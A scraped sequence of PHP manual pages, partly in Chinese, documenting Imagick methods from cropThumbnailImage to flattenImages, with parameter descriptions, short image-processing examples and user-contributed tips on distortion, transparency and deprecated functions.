This is a specialization of the cropImage method. At a high level, this method will create a thumbnail of a given image, with the thumbnail sized at ($width, $height).

If the thumbnail does not match the aspect ratio of the source image, this is the method to use. The thumbnail will capture the entire image on the shorter edge of the source image (ie, vertical size on a landscape image). Then the thumbnail will be scaled down to meet your target height, while preserving the aspect ratio. Extra horizontal space that does not fit within the target $width will be cropped off evenly left and right.

As a result, the thumbnail is usually a good representation of the source image.
domenechs1 at yahoo dot es 03-Mar-2008 09:06
$image = new Imagick($path."test1.jpg");

$image->cropThumbnailImage(160,120); // Crop image and thumb

$image->writeImage($path."test1.jpg");


Returns a reference to the current Imagick object

  • ? Imagick::cropThumbnailImage
  • Imagick::cycleColormapImage ?
  • PHP Manual
  • Imagick
  • Returns a reference to the current Imagick object

Imagick::current

(PECL imagick 2, PECL imagick 3)

Imagick::current — Returns a reference to the current Imagick object

说明

public Imagick::current(): Imagick

Returns reference to the current imagick object with image pointer at the correct sequence.

参数

此函数没有参数。

返回值

Returns self on success.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Displaces an image's colormap

  • ? Imagick::current
  • Imagick::decipherImage ?
  • PHP Manual
  • Imagick
  • Displaces an image's colormap

Imagick::cycleColormapImage

(PECL imagick 2, PECL imagick 3)

Imagick::cycleColormapImage — Displaces an image's colormap

说明

public Imagick::cycleColormapImage(int $displace): bool

Displaces an image's colormap by a given number of positions. If you cycle the colormap a number of times you can produce a psychedelic effect.

参数

displace

The amount to displace the colormap.

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Deciphers an image

  • ? Imagick::cycleColormapImage
  • Imagick::deconstructImages ?
  • PHP Manual
  • Imagick
  • Deciphers an image

Imagick::decipherImage

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::decipherImage — Deciphers an image

说明

public Imagick::decipherImage(string $passphrase): bool

Deciphers image that has been enciphered before. The image must be enciphered using Imagick::encipherImage(). 此方法在Imagick基于ImageMagick 6.3.9以上版本编译时可用。

参数

passphrase

The passphrase

返回值

成功时返回 true。

参见

  • Imagick::encipherImage() - Enciphers an image

User Contributed Notes

There are no user contributed notes for this page.


Returns certain pixel differences between images

  • ? Imagick::decipherImage
  • Imagick::deleteImageArtifact ?
  • PHP Manual
  • Imagick
  • Returns certain pixel differences between images

Imagick::deconstructImages

(PECL imagick 2, PECL imagick 3)

Imagick::deconstructImages — Returns certain pixel differences between images

说明

public Imagick::deconstructImages(): Imagick

Compares each image with the next in a sequence and returns the maximum bounding region of any pixel differences it discovers.

参数

此函数没有参数。

返回值

Returns a new Imagick object on success.

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

rbcp at phonelosers dot org 11-May-2023 08:40
"returns the maximum bounding region of any pixel differences it discovers"
It returns an \Imagick instance


Delete image artifact

  • ? Imagick::deconstructImages
  • Imagick::deleteImageProperty ?
  • PHP Manual
  • Imagick
  • Delete image artifact

Imagick::deleteImageArtifact

(PECL imagick 3)

Imagick::deleteImageArtifact — Delete image artifact

说明

public Imagick::deleteImageArtifact(string $artifact): bool

Deletes an artifact associated with the image. The difference between image properties and image artifacts is that properties are public and artifacts are private. 此方法在Imagick基于ImageMagick 6.5.7以上版本编译时可用。

参数

artifact

The name of the artifact to delete

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

参见

  • Imagick::setImageArtifact() - Set image artifact
  • Imagick::getImageArtifact() - Get image artifact

User Contributed Notes

There are no user contributed notes for this page.


Deletes an image property

  • ? Imagick::deleteImageArtifact
  • Imagick::deskewImage ?
  • PHP Manual
  • Imagick
  • Deletes an image property

Imagick::deleteImageProperty

(PECL imagick 3 >= 3.3.0)

Imagick::deleteImageProperty — Deletes an image property

说明

public Imagick::deleteImageProperty(string $name): bool

Deletes an image property.

参数

name

The name of the property to delete.

返回值

成功时返回 true。

User Contributed Notes

There are no user contributed notes for this page.


Removes skew from the image

  • ? Imagick::deleteImageProperty
  • Imagick::despeckleImage ?
  • PHP Manual
  • Imagick
  • Removes skew from the image

Imagick::deskewImage

(PECL imagick 2 >= 2.3.0, PECL imagick 3 >= 3.3.0)

Imagick::deskewImage — Removes skew from the image

说明

public Imagick::deskewImage(float $threshold): bool

This method can be used to remove skew from for example scanned images where the paper was not properly placed on the scanning surface. 此方法在Imagick基于ImageMagick 6.4.5以上版本编译时可用。

参数

threshold

Deskew threshold

返回值

示例

Example #1 Imagick::deskewImage()

<?php
function deskewImage($threshold) {
$imagick = new \Imagick(realpath("images/NYTimes-Page1-11-11-1918.jpg"));
$deskewImagick = clone $imagick;

//This is the only thing required for deskewing.
$deskewImagick->deskewImage($threshold);

//The rest of this example is to make the result obvious - because
//otherwise the result is not obvious.
$trim = 9;

$deskewImagick->cropImage($deskewImagick->getImageWidth() - $trim, $deskewImagick->getImageHeight(), $trim, 0);
$imagick->cropImage($imagick->getImageWidth() - $trim, $imagick->getImageHeight(), $trim, 0);
$deskewImagick->resizeimage($deskewImagick->getImageWidth() / 2, $deskewImagick->getImageHeight() / 2, \Imagick::FILTER_LANCZOS, 1);
$imagick->resizeimage($imagick->getImageWidth() / 2, $imagick->getImageHeight() / 2, \Imagick::FILTER_LANCZOS, 1);
$newCanvas = new \Imagick();
$newCanvas->newimage($imagick->getImageWidth() + $deskewImagick->getImageWidth() + 20, $imagick->getImageHeight(), 'red', 'jpg');
$newCanvas->compositeimage($imagick, \Imagick::COMPOSITE_COPY, 5, 0);
$newCanvas->compositeimage($deskewImagick, \Imagick::COMPOSITE_COPY, $imagick->getImageWidth() + 10, 0);

header("Content-Type: image/jpg");
echo $newCanvas->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Reduces the speckle noise in an image

  • ? Imagick::deskewImage
  • Imagick::destroy ?
  • PHP Manual
  • Imagick
  • Reduces the speckle noise in an image

Imagick::despeckleImage

(PECL imagick 2, PECL imagick 3)

Imagick::despeckleImage — Reduces the speckle noise in an image

说明

public Imagick::despeckleImage(): bool

Reduces the speckle noise in an image while preserving the edges of the original image.

参数

此函数没有参数。

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::despeckleImage()

<?php
function despeckleImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->despeckleImage();
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Destroys the Imagick object

  • ? Imagick::despeckleImage
  • Imagick::displayImage ?
  • PHP Manual
  • Imagick
  • Destroys the Imagick object

Imagick::destroy

(PECL imagick 2, PECL imagick 3)

Imagick::destroy — Destroys the Imagick object

说明

public Imagick::destroy(): bool

Destroys the Imagick object and frees all resources associated with it. This method is deprecated in favour of Imagick::clear.

参数

此函数没有参数。

返回值

成功时返回 true。

User Contributed Notes

There are no user contributed notes for this page.


Displays an image

  • ? Imagick::destroy
  • Imagick::displayImages ?
  • PHP Manual
  • Imagick
  • Displays an image

Imagick::displayImage

(PECL imagick 2, PECL imagick 3)

Imagick::displayImage — Displays an image

说明

public Imagick::displayImage(string $servername): bool

This method displays an image on a X server.

参数

servername

The X server name

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Displays an image or image sequence

  • ? Imagick::displayImage
  • Imagick::distortImage ?
  • PHP Manual
  • Imagick
  • Displays an image or image sequence

Imagick::displayImages

(PECL imagick 2, PECL imagick 3)

Imagick::displayImages — Displays an image or image sequence

说明

public Imagick::displayImages(string $servername): bool

Displays an image or image sequence on a X server.

参数

servername

The X server name

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


Distorts an image using various distortion methods

  • ? Imagick::displayImages
  • Imagick::drawImage ?
  • PHP Manual
  • Imagick
  • Distorts an image using various distortion methods

Imagick::distortImage

(PECL imagick 2 >= 2.0.1, PECL imagick 3)

Imagick::distortImage — Distorts an image using various distortion methods

说明

public Imagick::distortImage(int $method, array $arguments, bool $bestfit): bool

Distorts an image using various distortion methods, by mapping color lookups of the source image to a new destination image usually of the same size as the source image, unless 'bestfit' is set to true.

If 'bestfit' is enabled, and distortion allows it, the destination image is adjusted to ensure the whole source 'image' will just fit within the final destination image, which will be sized and offset accordingly. Also in many cases the virtual offset of the source image will be taken into account in the mapping.

此方法在Imagick基于ImageMagick 6.3.6以上版本编译时可用。

参数

method

The method of image distortion. See distortion constants

arguments

The arguments for this distortion method

bestfit

Attempt to resize destination to fit distorted source

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Using Imagick::distortImage():

Distort an image and display to the browser.

<?php
/* Create new object */
$im = new Imagick();

/* Create new checkerboard pattern */
$im->newPseudoImage(100, 100, "pattern:checkerboard");

/* Set the image format to png */
$im->setImageFormat('png');

/* Fill new visible areas with transparent */
$im->setImageVirtualPixelMethod(Imagick::VIRTUALPIXELMETHOD_TRANSPARENT);

/* Activate matte */
$im->setImageMatte(true);

/* Control points for the distortion */
$controlPoints = array( 10, 10,
10, 5,

10, $im->getImageHeight() - 20,
10, $im->getImageHeight() - 5,

$im->getImageWidth() - 10, 10,
$im->getImageWidth() - 10, 20,

$im->getImageWidth() - 10, $im->getImageHeight() - 10,
$im->getImageWidth() - 10, $im->getImageHeight() - 30);

/* Perform the distortion */
$im->distortImage(Imagick::DISTORTION_PERSPECTIVE, $controlPoints, true);

/* Ouput the image */
header("Content-Type: image/png");
echo $im;
?>

以上示例的输出类似于：

Output of example : Using Imagick::distortImage()

参见

  • Imagick::blurImage() - Adds blur filter to image
  • Imagick::motionBlurImage() - Simulates motion blur
  • Imagick::radialBlurImage() - Radial blurs an image

User Contributed Notes

Abe 13-Feb-2021 05:21
Control Points for DISTORTION_PERSPECTIVE are pairs of x0, y0, x1, y1 coordinates, where x0/y0 is the original point and x1/y1 is the destination point,

e.g. for a four point distortion:

    <?php

    $im = new imagick( $fn);

    $w=$im->getImageWidth();
    $h=$im->getImageHeight();
    $im->setImageFormat('png');

    $controlPoints = array(
                    $tLx, $tLy, 0, 0,  // top left
                    $tRx, $tRy, $w, 0, // top right
                    $bRx, $bRy, $w, $h, // bottom right
                    $bLx, $bLy, 0, $h // bottom left
                );

    /* Perform the distortion */
    $im->distortImage(Imagick::DISTORTION_PERSPECTIVE, $controlPoints, false);

    // Output the image
    $output = $im->getimageblob();
    $outputtype = $im->getFormat();

    header("Content-type: $outputtype");
    echo $output;

    ?>
peter dot e dot lind at gmail dot com 30-Dec-2014 08:55
It is worth nothing that details on distorts as well as arguments can be found at http://www.imagemagick.org/Usage/distorts/ - the PHP manual doesn't give much, if any, detail on arguments.

I found this very useful when I had to do a translated rotation on an image - i.e. rotating around a point in the image that was not square in the center. This can be achieved by using distortImage with Imagick::DISTORTION_SCALEROTATETRANSLATE like this:

<?php

$imagick = new Imagick('/path/to/image');
$args = array(
    20, # x point to rotate around
    20, # y point to rotate around
    1, # scaling factor - 1 means no scaling
    90, # angle to rotate
);

$imagick->setImageVirtualPixelMethod(Imagick::VIRTUALPIXELMETHOD_TRANSPARENT);
$imagick->distortImage(Imagick::DISTORTION_SCALEROTATETRANSLATE, $args, true);

?>

Note that this type of distort takes from 1 to 7 arguments, depending on what you want to do exactly - there is a lot of flexibility here.
DJ Mike 11-Apr-2011 11:11
Affine

<?php
$image = new imagick( "opossum.jpg" );
$points = array(
                0,0, 25,25,
               100,0, 100,50
               );
$image->setimagebackgroundcolor("#fad888");
$image->setImageVirtualPixelMethod( imagick::VIRTUALPIXELMETHOD_BACKGROUND );
$image->distortImage(  Imagick::DISTORTION_AFFINE, $points, TRUE );
header( "Content-Type: image/jpeg" );
echo $image;
?>

Affine Projection

<?php
$image = new imagick( "opossum.jpg" );
$points = array( 0.9,0.3,
                -0.2,0.7,
                 20,15 );
$image->setimagebackgroundcolor("#fad888");
$image->setImageVirtualPixelMethod( imagick::VIRTUALPIXELMETHOD_BACKGROUND );
$image->distortImage( Imagick::DISTORTION_AFFINEPROJECTION, $points, TRUE );
header( "Content-Type: image/jpeg" );
echo $image;
?>

Arc

<?php
$image = new imagick( "opossum.jpg" );
$draw = new imagickdraw();
$degrees = array( 180 );
$image->setimagebackgroundcolor("#fad888");
$image->setImageVirtualPixelMethod( imagick::VIRTUALPIXELMETHOD_BACKGROUND );
$image->distortImage( Imagick::DISTORTION_ARC, $degrees, TRUE );
header( "Content-Type: image/jpeg" );
echo $image;
?>

Rotated Arc

<?php
$image = new imagick( "opossum.jpg" );
$draw = new imagickdraw();
$degrees = array( 180, 45, 100, 20 );
$image->setimagebackgroundcolor("#fad888");
$image->setImageVirtualPixelMethod( imagick::VIRTUALPIXELMETHOD_BACKGROUND );
$image->distortImage( Imagick::DISTORTION_ARC, $degrees, TRUE );
header( "Content-Type: image/jpeg" );
echo $image;
?>

Bilinear

<?php
$image = new imagick( "opossum.jpg" );
$points = array(
                0,0, 25,25, # top left
                176,0, 126,0, # top right
                0,135, 0,105, # bottom right
                176,135, 176,135 # bottum left
                );
$image->setimagebackgroundcolor("#fad888");
$image->setImageVirtualPixelMethod( imagick::VIRTUALPIXELMETHOD_BACKGROUND );
$image->distortImage( Imagick::DISTORTION_BILINEAR, $points, TRUE );
header( "Content-Type: image/jpeg" );
echo $image;
?>

Perspective

<?php
$image = new imagick( "opossum.jpg" );
$points = array(
                0,0, 25,25, # top left
                176,0, 126,0, # top right
                0,135, 0,105, # bottom right
                176,135, 176,135 # bottum left
                );
$image->setimagebackgroundcolor("#fad888");
$image->setImageVirtualPixelMethod( imagick::VIRTUALPIXELMETHOD_BACKGROUND );
$image->distortImage( Imagick::DISTORTION_PERSPECTIVE, $points, TRUE );
header( "Content-Type: image/jpeg" );
echo $image;
?>

Scale Rotate Translate

<?php
$image = new imagick( "opossum.jpg" );
$points = array(
                 1.5, # scale 150%
                 150 # rotate
               );
$image->setimagebackgroundcolor("#fad888");
$image->setImageVirtualPixelMethod( imagick::VIRTUALPIXELMETHOD_BACKGROUND );
$image->distortImage( imagick::DISTORTION_SCALEROTATETRANSLATE, $points, TRUE );
header( "Content-Type: image/jpeg" );
echo $image;
?>
ashokmca.g at gmail dot com 04-Feb-2011 02:13
Slide image with shadow using distortImage

<?php

$slideValue = 150;

// Create new object
$im = new Imagick("grnhrs.jpg");

// Resize
$im->thumbnailImage(500,400);

// Set the image format to png
$im->setImageFormat('png');

//Clone the current object
$shadow = $im->clone();

//Set image background color to black (this is the color of the shadow)
$shadow->setImageBackgroundColor( new ImagickPixel( 'black' ) );

 //Create the shadow
$shadow->shadowImage( 80, 10, 5, 5 );

// Fill background area with transparent for image
//VIRTUALPIXELMETHOD_TRANSPARENT
$im->setImageVirtualPixelMethod(Imagick::VIRTUALPIXELMETHOD_ TRANSPARENT);

// Activate matte
$im->setImageMatte(true);

//Control points for the distortion
$controlPoints = array( 0, 0,
                        $slideValue, 0,

                        0, $im->getImageHeight(),
                        0, $im->getImageHeight(),

                        $im->getImageWidth(), 0,
                        $im->getImageWidth(), 0,

                        $im->getImageWidth(), $im->getImageHeight(),
                        $im->getImageWidth()-$slideValue, $im->getImageHeight());

// Perform the distortion
$im->distortImage(Imagick::DISTORTION_PERSPECTIVEPROJECTION, $controlPoints, true);

// Perform the distortion in shadow image
$shadow->distortImage(Imagick::DISTORTION_PERSPECTIVEPROJECTION, $controlPoints, true);

// Imagick::shadowImage only creates the shadow.
// That is why the original image is composited over it
$shadow->compositeImage( $im, Imagick::COMPOSITE_OVER, 0, 0 );

/* Ouput the image */
header("Content-Type: image/png");
echo $shadow;

?>


把 ImagickDraw 对象渲染到当前图片上

  • ? Imagick::distortImage
  • Imagick::edgeImage ?
  • PHP Manual
  • Imagick
  • 把 ImagickDraw 对象渲染到当前图片上

Imagick::drawImage

(PECL imagick 2, PECL imagick 3)

Imagick::drawImage — 把 ImagickDraw 对象渲染到当前图片上

说明

public Imagick::drawImage(ImagickDraw $draw): bool

把 ImagickDraw 对象渲染到当前图片上。

参数

draw

被渲染到图片上的 ImagickDraw 对象（在经过各种绘画操作之后的 ImagickDraw 对象）

返回值

成功时返回 true。

User Contributed Notes

blah at blub dot com 24-Aug-2009 06:21
If your imagick lib begins to say: "Non-conforming drawing primitive...", it could be that your locale are not correctly set. please locate all your setlocale and kill them temporary so you could check it that would solve the problem.
sualk at lednew dot de 30-Sep-2008 04:34
the ImagickDraw (v 2.2.0) seems to disharmonise with PHP-GTK2 (v 2.0.1).

The rendering of an ImagickDraw object on the current image fails (resp. results in a flat image without drawings), if php_gtk2.so is loaded.

Code to reproduce the failure:

#!/usr/bin/php5
<?php
dl("php_gtk2.so"); // comment this for a second try

$string = "Hello world!";

$im = new Imagick();
$draw = new ImagickDraw();

$draw->setFillColor(new ImagickPixel('blue'));

$draw->setFontSize(28);

$metrix = $im->queryFontMetrics($draw, $string);

$draw->annotation(0,25,$string);

$im->newImage($metrix['textWidth'],$metrix['textHeight'], new ImagickPixel('white'));
$im->drawImage($draw);
$im->borderImage(new ImagickPixel('black'), 1, 1);
$im->setImageFormat('png');

$im->writeImage("./test.png");
?>


Enhance edges within the image

  • ? Imagick::drawImage
  • Imagick::embossImage ?
  • PHP Manual
  • Imagick
  • Enhance edges within the image

Imagick::edgeImage

(PECL imagick 2, PECL imagick 3)

Imagick::edgeImage — Enhance edges within the image

说明

public Imagick::edgeImage(float $radius): bool

Enhance edges within the image with a convolution filter of the given radius. Use radius 0 and it will be auto-selected.

参数

radius

The radius of the operation.

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::edgeImage()

<?php
function edgeImage($imagePath, $radius) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->edgeImage($radius);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Returns a grayscale image with a three-dimensional effect

  • ? Imagick::edgeImage
  • Imagick::encipherImage ?
  • PHP Manual
  • Imagick
  • Returns a grayscale image with a three-dimensional effect

Imagick::embossImage

(PECL imagick 2, PECL imagick 3)

Imagick::embossImage — Returns a grayscale image with a three-dimensional effect

说明

public Imagick::embossImage(float $radius, float $sigma): bool

Returns a grayscale image with a three-dimensional effect. We convolve the image with a Gaussian operator of the given radius and standard deviation (sigma). For reasonable results, radius should be larger than sigma. Use a radius of 0 and it will choose a suitable radius for you.

参数

radius

The radius of the effect

sigma

The sigma of the effect

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::embossImage()

<?php
function embossImage($imagePath, $radius, $sigma) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->embossImage($radius, $sigma);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

DJ Mike 11-Apr-2011 11:17
embossImage() will actually return a color image with a 3D effect. If you want a gray scale image, you can use imagefilter() from the regular GD functions.

<?php
header("Content-type: image/jpeg");
$image = new Imagick("opossum.jpg");
$image->embossImage( 0, 1 );
echo $image;
?>


Enciphers an image

  • ? Imagick::embossImage
  • Imagick::enhanceImage ?
  • PHP Manual
  • Imagick
  • Enciphers an image

Imagick::encipherImage

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::encipherImage — Enciphers an image

说明

public Imagick::encipherImage(string $passphrase): bool

Converts plain pixels to enciphered pixels. The image is not readable until it has been deciphered using Imagick::decipherImage() 此方法在Imagick基于ImageMagick 6.3.9以上版本编译时可用。

参数

passphrase

The passphrase

返回值

成功时返回 true。

参见

  • Imagick::decipherImage() - Deciphers an image

User Contributed Notes

There are no user contributed notes for this page.


Improves the quality of a noisy image

  • ? Imagick::encipherImage
  • Imagick::equalizeImage ?
  • PHP Manual
  • Imagick
  • Improves the quality of a noisy image

Imagick::enhanceImage

(PECL imagick 2, PECL imagick 3)

Imagick::enhanceImage — Improves the quality of a noisy image

说明

public Imagick::enhanceImage(): bool

Applies a digital filter that improves the quality of a noisy image.

参数

此函数没有参数。

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::enhanceImage()

<?php
function enhanceImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->enhanceImage();
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Equalizes the image histogram

  • ? Imagick::enhanceImage
  • Imagick::evaluateImage ?
  • PHP Manual
  • Imagick
  • Equalizes the image histogram

Imagick::equalizeImage

(PECL imagick 2, PECL imagick 3)

Imagick::equalizeImage — Equalizes the image histogram

说明

public Imagick::equalizeImage(): bool

Equalizes the image histogram.

参数

此函数没有参数。

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::equalizeImage()

<?php
function equalizeImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->equalizeImage();
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Applies an expression to an image

  • ? Imagick::equalizeImage
  • Imagick::exportImagePixels ?
  • PHP Manual
  • Imagick
  • Applies an expression to an image

Imagick::evaluateImage

(PECL imagick 2, PECL imagick 3)

Imagick::evaluateImage — Applies an expression to an image

说明

public Imagick::evaluateImage(int $op, float $constant, int $channel = Imagick::CHANNEL_DEFAULT): bool

Applys an arithmetic, relational, or logical expression to an image. Use these operators to lighten or darken an image, to increase or decrease contrast in an image, or to produce the "negative" of an image.

参数

op

The evaluation operator

constant

The value of the operator

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channeltype constants using bitwise operators. Refer to this list of channel constants.

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Using Imagick::evaluateImage()

Using evaluateImage to reduce opacity in an image.

<?php
// Create new object with the image
$im = new Imagick('example-alpha.png');

// Reduce the alpha by 50%
$im->evaluateImage(Imagick::EVALUATE_DIVIDE, 2, Imagick::CHANNEL_ALPHA);

// Output the image
header("Content-Type: image/png");
echo $im;
?>

User Contributed Notes

nils dot rocine at gmail dot com 04-Jan-2012 11:10
What worked for me to convert a JPG source file to a semi-transparent PNG.

<?php
    $srcImagick = new Imagick($srcPath);

    $pathTo50Perc = 'transparent1.png';

    $srcImagick->setImageAlphaChannel(Imagick::ALPHACHANNEL_OPAQUE);

    $srcImagick->evaluateImage(Imagick::EVALUATE_DIVIDE, 2, Imagick::CHANNEL_ALPHA);

    $srcImagick->writeImage($pathTo50Perc);
?>


Exports raw image pixels

  • ? Imagick::evaluateImage
  • Imagick::extentImage ?
  • PHP Manual
  • Imagick
  • Exports raw image pixels

Imagick::exportImagePixels

(PECL imagick 2 >=2.3.0, PECL imagick 3)

Imagick::exportImagePixels — Exports raw image pixels

说明

public Imagick::exportImagePixels(
int $x,
int $y,
int $width,
int $height,
string $map,
int $STORAGE
): array

Exports image pixels into an array. The map defines the ordering of the exported pixels. The size of the returned array is width * height * strlen(map). 此方法在Imagick基于ImageMagick 6.4.7以上版本编译时可用。

参数

x

X-coordinate of the exported area

y

Y-coordinate of the exported area

width

Width of the exported aread

height

Height of the exported area

map

Ordering of the exported pixels. For example "RGB". Valid characters for the map are R, G, B, A, O, C, Y, M, K, I and P.

STORAGE

Refer to this list of pixel type constants

返回值

Returns an array containing the pixels values.

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Using Imagick::exportImagePixels()

Export image pixels into an array

<?php

/* Create new object */
$im = new Imagick();

/* Create new image */
$im->newPseudoImage(0, 0, "magick:rose");

/* Export the image pixels */
$pixels = $im->exportImagePixels(10, 10, 2, 2, "RGB", Imagick::PIXEL_CHAR);

/* Output */
var_dump($pixels);
?>

以上示例会输出：

array(12) {
  [0]=>
  int(72)
  [1]=>
  int(64)
  [2]=>
  int(57)
  [3]=>
  int(69)
  [4]=>
  int(59)
  [5]=>
  int(43)
  [6]=>
  int(124)
  [7]=>
  int(120)
  [8]=>
  int(-96)
  [9]=>
  int(91)
  [10]=>
  int(84)
  [11]=>
  int(111)
}

User Contributed Notes

P S 06-May-2022 04:37
These are the letters for the map:

R = red
G = green
B = blue
A = alpha (0 is transparent)
O = alpha (0 is opaque)
C = cyan
Y = yellow
M = magenta
K = black
I = intensity (for grayscale)
P = pad


Set image size

  • ? Imagick::exportImagePixels
  • Imagick::filter ?
  • PHP Manual
  • Imagick
  • Set image size

Imagick::extentImage

(PECL imagick 2, PECL imagick 3)

Imagick::extentImage — Set image size

说明

public Imagick::extentImage(
int $width,
int $height,
int $x,
int $y
): bool

Comfortability method for setting image size. The method sets the image size and allows setting x,y coordinates where the new area begins. 此方法在Imagick基于ImageMagick 6.3.1以上版本编译时可用。

Caution

Prior to ImageMagick 6.5.7-8 (1623), $x was positive when shifting to the left and negative when shifting to the right, and $y was positive when shifting an image up and negative when shifting an image down. Somewhere betwen ImageMagick 6.3.7 (1591) and ImageMagick 6.5.7-8 (1623), the axes of $x and $y were flipped, so that $x was negative when shifting to the left and positive when shifting to the right, and $y was negative when shifting an image up and positive when shifting an image down. Somewhere between ImageMagick 6.5.7-8 (1623) and ImageMagick 6.6.9-7 (1641), the axes of $x and $y were flipped back to pre-ImageMagick 6.5.7-8 (1623) functionality.

参数

width

The new width

height

The new height

x

X position for the new size

y

Y position for the new size

返回值

成功时返回 true。

参见

  • Imagick::resizeImage() - Scales an image
  • Imagick::thumbnailImage() - Changes the size of an image
  • Imagick::cropImage() - 截图图片的一块区域

User Contributed Notes

orgoj 13-Feb-2014 06:52
Some tiff image are corrupted, if used without prior calling setImageMatte(false).
bas at vdsluis dot net 03-Dec-2009 04:44
This function cannot handle images with a transparent background. Use setImageExtent instead.


Applies a custom convolution kernel to the image

  • ? Imagick::extentImage
  • Imagick::flattenImages ?
  • PHP Manual
  • Imagick
  • Applies a custom convolution kernel to the image

Imagick::filter

(PECL imagick 3 >= 3.3.0)

Imagick::filter — Applies a custom convolution kernel to the image

Warning

此函数在 Imagick 3.4.4 中被 废弃，强烈建议不要应用此函数。

说明

public Imagick::filter(ImagickKernel $ImagickKernel, int $channel = Imagick::CHANNEL_UNDEFINED): bool

Applies a custom convolution kernel to the image.

参数

ImagickKernel

An instance of ImagickKernel that represents either a single kernel or a linked series of kernels.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channel constants using bitwise operators. 缺省为Imagick::CHANNEL_DEFAULT. 参考此 通道常数列表

返回值

成功时返回 true。

示例

Example #1 Imagick::filter()

<?php
function filter($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$matrix = [
[-1, 0, -1],
[0, 5, 0],
[-1, 0, -1],
];

$kernel = \ImagickKernel::fromMatrix($matrix);
$strength = 0.5;
$kernel->scale($strength, \Imagick::NORMALIZE_KERNEL_VALUE);
$kernel->addUnityKernel(1 - $strength);

$imagick->filter($kernel);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

wangzh at dingl dot me 02-Aug-2017 11:50
-----Imagick  3.4.3  &&  ImageMagick 7.0.6

-----why cannot find filter method?????

if (!method_exists(Imagick, 'filter')) {
    echo 'undefined filter()！';
} else {
    echo 'defined filter()！';
}
wangzh at dingl dot me 02-Aug-2017 10:21
-----Imagick::filter cannot work!

-----suse linux server   ,   imagick module version 3.4.3

-----run Example #1 Imagick::filter()  , there is no result!  where is problem?

thank you for your answer!

Alex


Merges a sequence of images

  • ? Imagick::filter
  • Imagick::flipImage ?
  • PHP Manual
  • Imagick
  • Merges a sequence of images

Imagick::flattenImages

(PECL imagick 2, PECL imagick 3)

Imagick::flattenImages — Merges a sequence of images

Warning

此函数在 Imagick 3.4.4 中被 废弃，强烈建议不要应用此函数。

说明

public Imagick::flattenImages(): Imagick

Merges a sequence of images. This is useful for combining Photoshop layers into a single image.

参数

此函数没有参数。

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

A.Ross 26-Mar-2015 01:44
Replying to Francois:
<?php
$im->setImageBackgroundColor('white');
$im->setImageAlphaChannel(Imagick::ALPHACHANNEL_REMOVE);
$im->mergeImageLayers(Imagick::LAYERMETHOD_FLATTEN);
?>

Imagick::ALPHACHANNEL_REMOVE has been added in 3.2.0b2 (before the RC): http://pecl.php.net/package-info.php?package=imagick&version=3.2.0b2

The problem is with people who want to implement this, but are stuck with an Imagick version < 3.2.0b2. They can't use this constant. However, all is not lost. I've found a reference where someone got this to work using an integer: http://stackoverflow.com/q/28154179/1000608

The number he used is 11, which seems to suggest that the value of Imagick::ALPHACHANNEL_REMOVE is 11, and the function worked correctly in this usecase even before the constant was implemented. So if you're stuck with <3.2.0b2 this is the code you need:

<?php
$im->setImageBackgroundColor('white');
$im->setImageAlphaChannel(11);
$im->mergeImageLayers(Imagick::LAYERMETHOD_FLATTEN);
?>

This works at least as far back as version 3.1.0~rc1-1 (current version of the php5-imagick package in Debian 7).
thomasbachem 10-Mar-2015 12:05
The actual replacement now that flattenImages() has been deprecated is:

<?php
$im = $im->mergeImageLayers(Imagick::LAYERMETHOD_FLATTEN);
?>

So you need to (re)assign the returned Imagick object.
francois 06-Feb-2015 07:57
As nick said, the function Imagick::flattenImages() is deprecated. Replacing it by Imagick::mergeImageLayers(Imagick::LAYERMETHOD_FLATTEN) partially worked. Images with transparency (ex: .png) get black background even if the image background is set to white.

Old working code:
$im->setImageBackgroundColor('white');
$im = $im->flattenImages();

New working code:
$im->setImageBackgroundColor('white');
$im->setImageAlphaChannel(imagick::ALPHACHANNEL_REMOVE);
$im->mergeImageLayers(imagick::LAYERMETHOD_FLATTEN);

imagick::ALPHACHANNEL_REMOVE is not shown on the constants page but do works with Imagick 3.2.0RC1.
nick at nickdobie dot com 11-Nov-2014 02:38
